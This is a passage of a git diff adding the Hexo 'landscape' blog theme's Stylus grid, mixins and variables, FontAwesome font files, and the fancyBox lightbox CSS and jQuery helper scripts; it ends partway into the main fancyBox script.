Stylus: http://learnboost.github.com/stylus/ +///////////////// + +// Utility function — you should never need to modify this +// _gridsystem-width = (column-width + gutter-width) * columns +gridsystem-width(_columns = columns) + (column-width + gutter-width) * _columns + +// Set @total-width to 100% for a fluid layout +// total-width = gridsystem-width(columns) +total-width = 100% + +////////// +// GRID // +////////// + +body + clearfix() + width: 100% + +row(_columns = columns) + clearfix() + display: block + width: total-width * ((gutter-width + gridsystem-width(_columns)) / gridsystem-width(_columns)) + margin: 0 total-width * (((gutter-width * .5) / gridsystem-width(_columns)) * -1) + +column(x, _columns = columns) + display: inline + float: left + width: total-width * ((((gutter-width + column-width) * x) - gutter-width) / gridsystem-width(_columns)) + margin: 0 total-width * ((gutter-width * .5) / gridsystem-width(_columns)) + +push(offset = 1) + margin-left: total-width * (((gutter-width + column-width) * offset) / gridsystem-width(columns)) + +pull(offset = 1) + margin-right: total-width * (((gutter-width + column-width) * offset) / gridsystem-width(columns)) \ No newline at end of file diff --git a/themes/landscape/source/css/_util/mixin.styl b/themes/landscape/source/css/_util/mixin.styl new file mode 100644 index 0000000..b56f037 --- /dev/null +++ b/themes/landscape/source/css/_util/mixin.styl @@ -0,0 +1,31 @@ +// http://www.zeldman.com/2012/03/01/replacing-the-9999px-hack-new-image-replacement/ +hide-text() + text-indent: 100% + white-space: nowrap + overflow: hidden + +// http://codepen.io/shshaw/full/gEiDt +absolute-center(width, height = width) + // margin: auto + // position: absolute + // top: 50% + // top: 0 + // left: 0 + // bottom: 0 + // right: 0 + // width: width + // height: height + // overflow: auto + width: width + height: height + position: absolute + top: 50% + left: 50% + margin-top: width * -0.5 + margin-left: height * -0.5 + +avoid-column-break() + vendor("column-break-inside", avoid, only: webkit) + page-break-inside: avoid // for firefox + overflow: hidden // fix for firefox + break-inside: avoid-column diff --git a/themes/landscape/source/css/_variables.styl b/themes/landscape/source/css/_variables.styl new file mode 100644 index 0000000..4562911 --- /dev/null +++ b/themes/landscape/source/css/_variables.styl @@ -0,0 +1,63 @@ +// Config +support-for-ie = false +vendor-prefixes = webkit moz ms official + +// Colors +color-default = #555 +color-grey = #999 +color-border = #ddd +color-link = #258fb8 +color-background = #eee +color-sidebar-text = #777 +color-widget-background = #ddd +color-widget-border = #ccc +color-footer-background = #262a30 +color-mobile-nav-background = #191919 +color-twitter = #00aced +color-facebook = #3b5998 +color-pinterest = #cb2027 +color-google = #dd4b39 + +// Fonts +font-sans = -apple-system, BlinkMacSystemFont, + "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", + "Fira Sans", "Droid Sans", "Helvetica Neue", + sans-serif +font-serif = Georgia, "Times New Roman", serif +font-mono = "Source Code Pro", Consolas, Monaco, Menlo, Consolas, monospace +font-icon = FontAwesome +font-icon-path = "fonts/fontawesome-webfont" +font-icon-version = "4.0.3" +font-size = 14px +line-height = 1.6em +line-height-title = 1.1em + +// Header +logo-size = 40px +subtitle-size = 16px +banner-height = 300px +banner-url = "images/banner.jpg" + +sidebar = hexo-config("sidebar") + +// Layout +block-margin = 50px +article-padding = 20px +mobile-nav-width = 280px +main-column = 9 +sidebar-column = 3 + +if sidebar and sidebar isnt bottom + _sidebar-column = sidebar-column +else + _sidebar-column = 0 + +// Grids +column-width = 80px +gutter-width = 20px +columns = main-column + _sidebar-column + +// Media queries +mq-mobile = "screen and (max-width: 479px)" +mq-tablet = "screen and (min-width: 480px) and (max-width: 767px)" +mq-normal = "screen and (min-width: 768px)" \ No newline at end of file diff --git a/themes/landscape/source/css/fonts/FontAwesome.otf b/themes/landscape/source/css/fonts/FontAwesome.otf new file mode 100644 index 0000000..8b0f54e Binary files /dev/null and b/themes/landscape/source/css/fonts/FontAwesome.otf differ diff --git a/themes/landscape/source/css/fonts/fontawesome-webfont.eot b/themes/landscape/source/css/fonts/fontawesome-webfont.eot new file mode 100644 index 0000000..7c79c6a Binary files /dev/null and b/themes/landscape/source/css/fonts/fontawesome-webfont.eot differ diff --git a/themes/landscape/source/css/fonts/fontawesome-webfont.svg b/themes/landscape/source/css/fonts/fontawesome-webfont.svg new file mode 100644 index 0000000..45fdf33 --- /dev/null +++ b/themes/landscape/source/css/fonts/fontawesome-webfont.svg @@ -0,0 +1,414 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/landscape/source/css/fonts/fontawesome-webfont.ttf b/themes/landscape/source/css/fonts/fontawesome-webfont.ttf new file mode 100644 index 0000000..e89738d Binary files /dev/null and b/themes/landscape/source/css/fonts/fontawesome-webfont.ttf differ diff --git a/themes/landscape/source/css/fonts/fontawesome-webfont.woff b/themes/landscape/source/css/fonts/fontawesome-webfont.woff new file mode 100644 index 0000000..8c1748a Binary files /dev/null and b/themes/landscape/source/css/fonts/fontawesome-webfont.woff differ diff --git a/themes/landscape/source/css/images/banner.jpg b/themes/landscape/source/css/images/banner.jpg new file mode 100644 index 0000000..b963e06 Binary files /dev/null and b/themes/landscape/source/css/images/banner.jpg differ diff --git a/themes/landscape/source/css/style.styl b/themes/landscape/source/css/style.styl new file mode 100644 index 0000000..c51f8e4 --- /dev/null +++ b/themes/landscape/source/css/style.styl @@ -0,0 +1,89 @@ +@import "nib" +@import "_variables" +@import "_util/mixin" +@import "_util/grid" + +global-reset() + +input, button + margin: 0 + padding: 0 + &::-moz-focus-inner + border: 0 + padding: 0 + +@font-face + font-family: FontAwesome + font-style: normal + font-weight: normal + src: url(font-icon-path + ".eot?v=#" + font-icon-version) + src: url(font-icon-path + ".eot?#iefix&v=#" + font-icon-version) format("embedded-opentype"), + url(font-icon-path + ".woff?v=#" + font-icon-version) format("woff"), + url(font-icon-path + ".ttf?v=#" + font-icon-version) format("truetype"), + url(font-icon-path + ".svg#fontawesomeregular?v=#" + font-icon-version) format("svg") + +html, body, #container + height: 100% + +body + background: color-background + font: font-size font-sans + -webkit-text-size-adjust: 100% + +.outer + clearfix() + max-width: (column-width + gutter-width) * columns + gutter-width + margin: 0 auto + padding: 0 gutter-width + +.inner + column(columns) + +.left, .alignleft + float: left + +.right, .alignright + float: right + +.clear + clear: both + +#container + position: relative + +.mobile-nav-on + overflow: hidden + +#wrap + height: 100% + width: 100% + position: absolute + top: 0 + left: 0 + transition: 0.2s ease-out + z-index: 1 + background: color-background + .mobile-nav-on & + left: mobile-nav-width + +if sidebar and sidebar isnt bottom + #main + @media mq-normal + column(main-column) + +if sidebar is left + @media mq-normal + #main + float: right + +@import "_extend" +@import "_partial/header" +@import "_partial/article" +@import "_partial/comment" +@import "_partial/archive" +@import "_partial/footer" +@import "_partial/highlight" +@import "_partial/mobile" + +if sidebar + @import "_partial/sidebar" \ No newline at end of file diff --git a/themes/landscape/source/fancybox/blank.gif b/themes/landscape/source/fancybox/blank.gif new file mode 100644 index 0000000..35d42e8 Binary files /dev/null and b/themes/landscape/source/fancybox/blank.gif differ diff --git a/themes/landscape/source/fancybox/fancybox_loading.gif b/themes/landscape/source/fancybox/fancybox_loading.gif new file mode 100644 index 0000000..a03a40c Binary files /dev/null and b/themes/landscape/source/fancybox/fancybox_loading.gif differ diff --git a/themes/landscape/source/fancybox/fancybox_loading@2x.gif b/themes/landscape/source/fancybox/fancybox_loading@2x.gif new file mode 100644 index 0000000..9205aeb Binary files /dev/null and b/themes/landscape/source/fancybox/fancybox_loading@2x.gif differ diff --git a/themes/landscape/source/fancybox/fancybox_overlay.png b/themes/landscape/source/fancybox/fancybox_overlay.png new file mode 100644 index 0000000..a439139 Binary files /dev/null and b/themes/landscape/source/fancybox/fancybox_overlay.png differ diff --git a/themes/landscape/source/fancybox/fancybox_sprite.png b/themes/landscape/source/fancybox/fancybox_sprite.png new file mode 100644 index 0000000..fd8d5ca Binary files /dev/null and b/themes/landscape/source/fancybox/fancybox_sprite.png differ diff --git a/themes/landscape/source/fancybox/fancybox_sprite@2x.png b/themes/landscape/source/fancybox/fancybox_sprite@2x.png new file mode 100644 index 0000000..d0e4779 Binary files /dev/null and b/themes/landscape/source/fancybox/fancybox_sprite@2x.png differ diff --git a/themes/landscape/source/fancybox/helpers/fancybox_buttons.png b/themes/landscape/source/fancybox/helpers/fancybox_buttons.png new file mode 100644 index 0000000..0787207 Binary files /dev/null and b/themes/landscape/source/fancybox/helpers/fancybox_buttons.png differ diff --git a/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.css b/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.css new file mode 100644 index 0000000..a26273a --- /dev/null +++ b/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.css @@ -0,0 +1,97 @@ +#fancybox-buttons { + position: fixed; + left: 0; + width: 100%; + z-index: 8050; +} + +#fancybox-buttons.top { + top: 10px; +} + +#fancybox-buttons.bottom { + bottom: 10px; +} + +#fancybox-buttons ul { + display: block; + width: 166px; + height: 30px; + margin: 0 auto; + padding: 0; + list-style: none; + border: 1px solid #111; + border-radius: 3px; + -webkit-box-shadow: inset 0 0 0 1px rgba(255,255,255,.05); + -moz-box-shadow: inset 0 0 0 1px rgba(255,255,255,.05); + box-shadow: inset 0 0 0 1px rgba(255,255,255,.05); + background: rgb(50,50,50); + background: -moz-linear-gradient(top, rgb(68,68,68) 0%, rgb(52,52,52) 50%, rgb(41,41,41) 50%, rgb(51,51,51) 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgb(68,68,68)), color-stop(50%,rgb(52,52,52)), color-stop(50%,rgb(41,41,41)), color-stop(100%,rgb(51,51,51))); + background: -webkit-linear-gradient(top, rgb(68,68,68) 0%,rgb(52,52,52) 50%,rgb(41,41,41) 50%,rgb(51,51,51) 100%); + background: -o-linear-gradient(top, rgb(68,68,68) 0%,rgb(52,52,52) 50%,rgb(41,41,41) 50%,rgb(51,51,51) 100%); + background: -ms-linear-gradient(top, rgb(68,68,68) 0%,rgb(52,52,52) 50%,rgb(41,41,41) 50%,rgb(51,51,51) 100%); + background: linear-gradient(top, rgb(68,68,68) 0%,rgb(52,52,52) 50%,rgb(41,41,41) 50%,rgb(51,51,51) 100%); + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#444444', endColorstr='#222222',GradientType=0 ); +} + +#fancybox-buttons ul li { + float: left; + margin: 0; + padding: 0; +} + +#fancybox-buttons a { + display: block; + width: 30px; + height: 30px; + text-indent: -9999px; + background-color: transparent; + background-image: url('fancybox_buttons.png'); + background-repeat: no-repeat; + outline: none; + opacity: 0.8; +} + +#fancybox-buttons a:hover { + opacity: 1; +} + +#fancybox-buttons a.btnPrev { + background-position: 5px 0; +} + +#fancybox-buttons a.btnNext { + background-position: -33px 0; + border-right: 1px solid #3e3e3e; +} + +#fancybox-buttons a.btnPlay { + background-position: 0 -30px; +} + +#fancybox-buttons a.btnPlayOn { + background-position: -30px -30px; +} + +#fancybox-buttons a.btnToggle { + background-position: 3px -60px; + border-left: 1px solid #111; + border-right: 1px solid #3e3e3e; + width: 35px +} + +#fancybox-buttons a.btnToggleOn { + background-position: -27px -60px; +} + +#fancybox-buttons a.btnClose { + border-left: 1px solid #111; + width: 35px; + background-position: -56px 0px; +} + +#fancybox-buttons a.btnDisabled { + opacity : 0.4; + cursor: default; +} \ No newline at end of file diff --git a/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.js b/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.js new file mode 100644 index 0000000..352bb5f --- /dev/null +++ b/themes/landscape/source/fancybox/helpers/jquery.fancybox-buttons.js @@ -0,0 +1,122 @@ + /*! + * Buttons helper for fancyBox + * version: 1.0.5 (Mon, 15 Oct 2012) + * @requires fancyBox v2.0 or later + * + * Usage: + * $(".fancybox").fancybox({ + * helpers : { + * buttons: { + * position : 'top' + * } + * } + * }); + * + */ +;(function ($) { + //Shortcut for fancyBox object + var F = $.fancybox; + + //Add helper object + F.helpers.buttons = { + defaults : { + skipSingle : false, // disables if gallery contains single image + position : 'top', // 'top' or 'bottom' + tpl : '
    ' + }, + + list : null, + buttons: null, + + beforeLoad: function (opts, obj) { + //Remove self if gallery do not have at least two items + + if (opts.skipSingle && obj.group.length < 2) { + obj.helpers.buttons = false; + obj.closeBtn = true; + + return; + } + + //Increase top margin to give space for buttons + obj.margin[ opts.position === 'bottom' ? 2 : 0 ] += 30; + }, + + onPlayStart: function () { + if (this.buttons) { + this.buttons.play.attr('title', 'Pause slideshow').addClass('btnPlayOn'); + } + }, + + onPlayEnd: function () { + if (this.buttons) { + this.buttons.play.attr('title', 'Start slideshow').removeClass('btnPlayOn'); + } + }, + + afterShow: function (opts, obj) { + var buttons = this.buttons; + + if (!buttons) { + this.list = $(opts.tpl).addClass(opts.position).appendTo('body'); + + buttons = { + prev : this.list.find('.btnPrev').click( F.prev ), + next : this.list.find('.btnNext').click( F.next ), + play : this.list.find('.btnPlay').click( F.play ), + toggle : this.list.find('.btnToggle').click( F.toggle ), + close : this.list.find('.btnClose').click( F.close ) + } + } + + //Prev + if (obj.index > 0 || obj.loop) { + buttons.prev.removeClass('btnDisabled'); + } else { + buttons.prev.addClass('btnDisabled'); + } + + //Next / Play + if (obj.loop || obj.index < obj.group.length - 1) { + buttons.next.removeClass('btnDisabled'); + buttons.play.removeClass('btnDisabled'); + + } else { + buttons.next.addClass('btnDisabled'); + buttons.play.addClass('btnDisabled'); + } + + this.buttons = buttons; + + this.onUpdate(opts, obj); + }, + + onUpdate: function (opts, obj) { + var toggle; + + if (!this.buttons) { + return; + } + + toggle = this.buttons.toggle.removeClass('btnDisabled btnToggleOn'); + + //Size toggle button + if (obj.canShrink) { + toggle.addClass('btnToggleOn'); + + } else if (!obj.canExpand) { + toggle.addClass('btnDisabled'); + } + }, + + beforeClose: function () { + if (this.list) { + this.list.remove(); + } + + this.list = null; + this.buttons = null; + } + }; + +}(jQuery)); diff --git a/themes/landscape/source/fancybox/helpers/jquery.fancybox-media.js b/themes/landscape/source/fancybox/helpers/jquery.fancybox-media.js new file mode 100644 index 0000000..62737a5 --- /dev/null +++ b/themes/landscape/source/fancybox/helpers/jquery.fancybox-media.js @@ -0,0 +1,199 @@ +/*! + * Media helper for fancyBox + * version: 1.0.6 (Fri, 14 Jun 2013) + * @requires fancyBox v2.0 or later + * + * Usage: + * $(".fancybox").fancybox({ + * helpers : { + * media: true + * } + * }); + * + * Set custom URL parameters: + * $(".fancybox").fancybox({ + * helpers : { + * media: { + * youtube : { + * params : { + * autoplay : 0 + * } + * } + * } + * } + * }); + * + * Or: + * $(".fancybox").fancybox({, + * helpers : { + * media: true + * }, + * youtube : { + * autoplay: 0 + * } + * }); + * + * Supports: + * + * Youtube + * http://www.youtube.com/watch?v=opj24KnzrWo + * http://www.youtube.com/embed/opj24KnzrWo + * http://youtu.be/opj24KnzrWo + * http://www.youtube-nocookie.com/embed/opj24KnzrWo + * Vimeo + * http://vimeo.com/40648169 + * http://vimeo.com/channels/staffpicks/38843628 + * http://vimeo.com/groups/surrealism/videos/36516384 + * http://player.vimeo.com/video/45074303 + * Metacafe + * http://www.metacafe.com/watch/7635964/dr_seuss_the_lorax_movie_trailer/ + * http://www.metacafe.com/watch/7635964/ + * Dailymotion + * http://www.dailymotion.com/video/xoytqh_dr-seuss-the-lorax-premiere_people + * Twitvid + * http://twitvid.com/QY7MD + * Twitpic + * http://twitpic.com/7p93st + * Instagram + * http://instagr.am/p/IejkuUGxQn/ + * http://instagram.com/p/IejkuUGxQn/ + * Google maps + * http://maps.google.com/maps?q=Eiffel+Tower,+Avenue+Gustave+Eiffel,+Paris,+France&t=h&z=17 + * http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16 + * http://maps.google.com/?ll=48.859463,2.292626&spn=0.000965,0.002642&t=m&z=19&layer=c&cbll=48.859524,2.292532&panoid=YJ0lq28OOy3VT2IqIuVY0g&cbp=12,151.58,,0,-15.56 + */ +;(function ($) { + "use strict"; + + //Shortcut for fancyBox object + var F = $.fancybox, + format = function( url, rez, params ) { + params = params || ''; + + if ( $.type( params ) === "object" ) { + params = $.param(params, true); + } + + $.each(rez, function(key, value) { + url = url.replace( '$' + key, value || '' ); + }); + + if (params.length) { + url += ( url.indexOf('?') > 0 ? '&' : '?' ) + params; + } + + return url; + }; + + //Add helper object + F.helpers.media = { + defaults : { + youtube : { + matcher : /(youtube\.com|youtu\.be|youtube-nocookie\.com)\/(watch\?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*)).*/i, + params : { + autoplay : 1, + autohide : 1, + fs : 1, + rel : 0, + hd : 1, + wmode : 'opaque', + enablejsapi : 1 + }, + type : 'iframe', + url : '//www.youtube.com/embed/$3' + }, + vimeo : { + matcher : /(?:vimeo(?:pro)?.com)\/(?:[^\d]+)?(\d+)(?:.*)/, + params : { + autoplay : 1, + hd : 1, + show_title : 1, + show_byline : 1, + show_portrait : 0, + fullscreen : 1 + }, + type : 'iframe', + url : '//player.vimeo.com/video/$1' + }, + metacafe : { + matcher : /metacafe.com\/(?:watch|fplayer)\/([\w\-]{1,10})/, + params : { + autoPlay : 'yes' + }, + type : 'swf', + url : function( rez, params, obj ) { + obj.swf.flashVars = 'playerVars=' + $.param( params, true ); + + return '//www.metacafe.com/fplayer/' + rez[1] + '/.swf'; + } + }, + dailymotion : { + matcher : /dailymotion.com\/video\/(.*)\/?(.*)/, + params : { + additionalInfos : 0, + autoStart : 1 + }, + type : 'swf', + url : '//www.dailymotion.com/swf/video/$1' + }, + twitvid : { + matcher : /twitvid\.com\/([a-zA-Z0-9_\-\?\=]+)/i, + params : { + autoplay : 0 + }, + type : 'iframe', + url : '//www.twitvid.com/embed.php?guid=$1' + }, + twitpic : { + matcher : /twitpic\.com\/(?!(?:place|photos|events)\/)([a-zA-Z0-9\?\=\-]+)/i, + type : 'image', + url : '//twitpic.com/show/full/$1/' + }, + instagram : { + matcher : /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i, + type : 'image', + url : '//$1/p/$2/media/?size=l' + }, + google_maps : { + matcher : /maps\.google\.([a-z]{2,3}(\.[a-z]{2})?)\/(\?ll=|maps\?)(.*)/i, + type : 'iframe', + url : function( rez ) { + return '//maps.google.' + rez[1] + '/' + rez[3] + '' + rez[4] + '&output=' + (rez[4].indexOf('layer=c') > 0 ? 'svembed' : 'embed'); + } + } + }, + + beforeLoad : function(opts, obj) { + var url = obj.href || '', + type = false, + what, + item, + rez, + params; + + for (what in opts) { + if (opts.hasOwnProperty(what)) { + item = opts[ what ]; + rez = url.match( item.matcher ); + + if (rez) { + type = item.type; + params = $.extend(true, {}, item.params, obj[ what ] || ($.isPlainObject(opts[ what ]) ? opts[ what ].params : null)); + + url = $.type( item.url ) === "function" ? item.url.call( this, rez, params, obj ) : format( item.url, rez, params ); + + break; + } + } + } + + if (type) { + obj.href = url; + obj.type = type; + + obj.autoHeight = false; + } + } + }; + +}(jQuery)); \ No newline at end of file diff --git a/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.css b/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.css new file mode 100644 index 0000000..63d2943 --- /dev/null +++ b/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.css @@ -0,0 +1,55 @@ +#fancybox-thumbs { + position: fixed; + left: 0; + width: 100%; + overflow: hidden; + z-index: 8050; +} + +#fancybox-thumbs.bottom { + bottom: 2px; +} + +#fancybox-thumbs.top { + top: 2px; +} + +#fancybox-thumbs ul { + position: relative; + list-style: none; + margin: 0; + padding: 0; +} + +#fancybox-thumbs ul li { + float: left; + padding: 1px; + opacity: 0.5; +} + +#fancybox-thumbs ul li.active { + opacity: 0.75; + padding: 0; + border: 1px solid #fff; +} + +#fancybox-thumbs ul li:hover { + opacity: 1; +} + +#fancybox-thumbs ul li a { + display: block; + position: relative; + overflow: hidden; + border: 1px solid #222; + background: #111; + outline: none; +} + +#fancybox-thumbs ul li img { + display: block; + position: relative; + border: 0; + padding: 0; + max-width: none; +} \ No newline at end of file diff --git a/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.js b/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.js new file mode 100644 index 0000000..58c9719 --- /dev/null +++ b/themes/landscape/source/fancybox/helpers/jquery.fancybox-thumbs.js @@ -0,0 +1,165 @@ + /*! + * Thumbnail helper for fancyBox + * version: 1.0.7 (Mon, 01 Oct 2012) + * @requires fancyBox v2.0 or later + * + * Usage: + * $(".fancybox").fancybox({ + * helpers : { + * thumbs: { + * width : 50, + * height : 50 + * } + * } + * }); + * + */ +;(function ($) { + //Shortcut for fancyBox object + var F = $.fancybox; + + //Add helper object + F.helpers.thumbs = { + defaults : { + width : 50, // thumbnail width + height : 50, // thumbnail height + position : 'bottom', // 'top' or 'bottom' + source : function ( item ) { // function to obtain the URL of the thumbnail image + var href; + + if (item.element) { + href = $(item.element).find('img').attr('src'); + } + + if (!href && item.type === 'image' && item.href) { + href = item.href; + } + + return href; + } + }, + + wrap : null, + list : null, + width : 0, + + init: function (opts, obj) { + var that = this, + list, + thumbWidth = opts.width, + thumbHeight = opts.height, + thumbSource = opts.source; + + //Build list structure + list = ''; + + for (var n = 0; n < obj.group.length; n++) { + list += '
  • '; + } + + this.wrap = $('
    ').addClass(opts.position).appendTo('body'); + this.list = $('
      ' + list + '
    ').appendTo(this.wrap); + + //Load each thumbnail + $.each(obj.group, function (i) { + var el = obj.group[ i ], + href = thumbSource( el ); + + if (!href) { + return; + } + + $("").load(function () { + var width = this.width, + height = this.height, + widthRatio, heightRatio, parent; + + if (!that.list || !width || !height) { + return; + } + + //Calculate thumbnail width/height and center it + widthRatio = width / thumbWidth; + heightRatio = height / thumbHeight; + + parent = that.list.children().eq(i).find('a'); + + if (widthRatio >= 1 && heightRatio >= 1) { + if (widthRatio > heightRatio) { + width = Math.floor(width / heightRatio); + height = thumbHeight; + + } else { + width = thumbWidth; + height = Math.floor(height / widthRatio); + } + } + + $(this).css({ + width : width, + height : height, + top : Math.floor(thumbHeight / 2 - height / 2), + left : Math.floor(thumbWidth / 2 - width / 2) + }); + + parent.width(thumbWidth).height(thumbHeight); + + $(this).hide().appendTo(parent).fadeIn(300); + + }) + .attr('src', href) + .attr('title', el.title); + }); + + //Set initial width + this.width = this.list.children().eq(0).outerWidth(true); + + this.list.width(this.width * (obj.group.length + 1)).css('left', Math.floor($(window).width() * 0.5 - (obj.index * this.width + this.width * 0.5))); + }, + + beforeLoad: function (opts, obj) { + //Remove self if gallery do not have at least two items + if (obj.group.length < 2) { + obj.helpers.thumbs = false; + + return; + } + + //Increase bottom margin to give space for thumbs + obj.margin[ opts.position === 'top' ? 0 : 2 ] += ((opts.height) + 15); + }, + + afterShow: function (opts, obj) { + //Check if exists and create or update list + if (this.list) { + this.onUpdate(opts, obj); + + } else { + this.init(opts, obj); + } + + //Set active element + this.list.children().removeClass('active').eq(obj.index).addClass('active'); + }, + + //Center list + onUpdate: function (opts, obj) { + if (this.list) { + this.list.stop(true).animate({ + 'left': Math.floor($(window).width() * 0.5 - (obj.index * this.width + this.width * 0.5)) + }, 150); + } + }, + + beforeClose: function () { + if (this.wrap) { + this.wrap.remove(); + } + + this.wrap = null; + this.list = null; + this.width = 0; + } + } + +}(jQuery)); \ No newline at end of file diff --git a/themes/landscape/source/fancybox/jquery.fancybox.css b/themes/landscape/source/fancybox/jquery.fancybox.css new file mode 100644 index 0000000..c75d051 --- /dev/null +++ b/themes/landscape/source/fancybox/jquery.fancybox.css @@ -0,0 +1,273 @@ +/*! fancyBox v2.1.5 fancyapps.com | fancyapps.com/fancybox/#license */ +.fancybox-wrap, +.fancybox-skin, +.fancybox-outer, +.fancybox-inner, +.fancybox-image, +.fancybox-wrap iframe, +.fancybox-wrap object, +.fancybox-nav, +.fancybox-nav span, +.fancybox-tmp +{ + padding: 0; + margin: 0; + border: 0; + outline: none; + vertical-align: top; +} + +.fancybox-wrap { + position: absolute; + top: 0; + left: 0; + z-index: 8020; +} + +.fancybox-skin { + position: relative; + background: #f9f9f9; + color: #444; + text-shadow: none; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.fancybox-opened { + z-index: 8030; +} + +.fancybox-opened .fancybox-skin { + -webkit-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5); + -moz-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5); + box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5); +} + +.fancybox-outer, .fancybox-inner { + position: relative; +} + +.fancybox-inner { + overflow: hidden; +} + +.fancybox-type-iframe .fancybox-inner { + -webkit-overflow-scrolling: touch; +} + +.fancybox-error { + color: #444; + font: 14px/20px "Helvetica Neue",Helvetica,Arial,sans-serif; + margin: 0; + padding: 15px; + white-space: nowrap; +} + +.fancybox-image, .fancybox-iframe { + display: block; + width: 100%; + height: 100%; +} + +.fancybox-image { + max-width: 100%; + max-height: 100%; +} + +#fancybox-loading, .fancybox-close, .fancybox-prev span, .fancybox-next span { + background-image: url(fancybox_sprite.png); +} + +#fancybox-loading { + position: fixed; + top: 50%; + left: 50%; + margin-top: -22px; + margin-left: -22px; + background-position: 0 -108px; + opacity: 0.8; + cursor: pointer; + z-index: 8060; +} + +#fancybox-loading div { + width: 44px; + height: 44px; + background: url(fancybox_loading.gif) center center no-repeat; +} + +.fancybox-close { + position: absolute; + top: -18px; + right: -18px; + width: 36px; + height: 36px; + cursor: pointer; + z-index: 8040; +} + +.fancybox-nav { + position: absolute; + top: 0; + width: 40%; + height: 100%; + cursor: pointer; + text-decoration: none; + background: transparent url(blank.gif); /* helps IE */ + -webkit-tap-highlight-color: rgba(0,0,0,0); + z-index: 8040; +} + +.fancybox-prev { + left: 0; +} + +.fancybox-next { + right: 0; +} + +.fancybox-nav span { + position: absolute; + top: 50%; + width: 36px; + height: 34px; + margin-top: -18px; + cursor: pointer; + z-index: 8040; + visibility: hidden; +} + +.fancybox-prev span { + left: 10px; + background-position: 0 -36px; +} + +.fancybox-next span { + right: 10px; + background-position: 0 -72px; +} + +.fancybox-nav:hover span { + visibility: visible; +} + +.fancybox-tmp { + position: absolute; + top: -99999px; + left: -99999px; + max-width: 99999px; + max-height: 99999px; + overflow: visible !important; +} + +/* Overlay helper */ + +.fancybox-lock { + overflow: visible !important; + width: auto; +} + +.fancybox-lock body { + overflow: hidden !important; +} + +.fancybox-lock-test { + overflow-y: hidden !important; +} + +.fancybox-overlay { + position: absolute; + top: 0; + left: 0; + overflow: hidden; + display: none; + z-index: 8010; + background: url(fancybox_overlay.png); +} + +.fancybox-overlay-fixed { + position: fixed; + bottom: 0; + right: 0; +} + +.fancybox-lock .fancybox-overlay { + overflow: auto; + overflow-y: scroll; +} + +/* Title helper */ + +.fancybox-title { + visibility: hidden; + font: normal 13px/20px "Helvetica Neue",Helvetica,Arial,sans-serif; + position: relative; + text-shadow: none; + z-index: 8050; +} + +.fancybox-opened .fancybox-title { + visibility: visible; +} + +.fancybox-title-float-wrap { + position: absolute; + bottom: 0; + right: 50%; + margin-bottom: -35px; + z-index: 8050; + text-align: center; +} + +.fancybox-title-float-wrap .child { + display: inline-block; + margin-right: -100%; + padding: 2px 20px; + background: transparent; /* Fallback for web browsers that doesn't support RGBa */ + background: rgba(0, 0, 0, 0.8); + -webkit-border-radius: 15px; + -moz-border-radius: 15px; + border-radius: 15px; + text-shadow: 0 1px 2px #222; + color: #FFF; + font-weight: bold; + line-height: 24px; + white-space: nowrap; +} + +.fancybox-title-outside-wrap { + position: relative; + margin-top: 10px; + color: #fff; +} + +.fancybox-title-inside-wrap { + padding-top: 10px; +} + +.fancybox-title-over-wrap { + position: absolute; + bottom: 0; + left: 0; + color: #fff; + padding: 10px; + background: #000; + background: rgba(0, 0, 0, .8); +} + +/*Retina graphics!*/ +@media only screen and (-webkit-min-device-pixel-ratio: 1.5), + only screen and (min--moz-device-pixel-ratio: 1.5), + only screen and (min-device-pixel-ratio: 1.5){ + + #fancybox-loading, .fancybox-close, .fancybox-prev span, .fancybox-next span { + background-image: url(fancybox_sprite@2x.png); + background-size: 44px 152px; /*The size of the normal image, half the size of the hi-res image*/ + } + + #fancybox-loading div { + background-image: url(fancybox_loading@2x.gif); + background-size: 24px 24px; /*The size of the normal image, half the size of the hi-res image*/ + } +} \ No newline at end of file diff --git a/themes/landscape/source/fancybox/jquery.fancybox.js b/themes/landscape/source/fancybox/jquery.fancybox.js new file mode 100644 index 0000000..7a0f8ac --- /dev/null +++ b/themes/landscape/source/fancybox/jquery.fancybox.js @@ -0,0 +1,2017 @@ +/*! + * fancyBox - jQuery Plugin + * version: 2.1.5 (Fri, 14 Jun 2013) + * requires jQuery v1.6 or later + * + * Examples at http://fancyapps.com/fancybox/ + * License: www.fancyapps.com/fancybox/#license + * + * Copyright 2012 Janis Skarnelis - janis@fancyapps.com + * + */ + +;(function (window, document, $, undefined) { + "use strict"; + + var H = $("html"), + W = $(window), + D = $(document), + F = $.fancybox = function () { + F.open.apply( this, arguments ); + }, + IE = 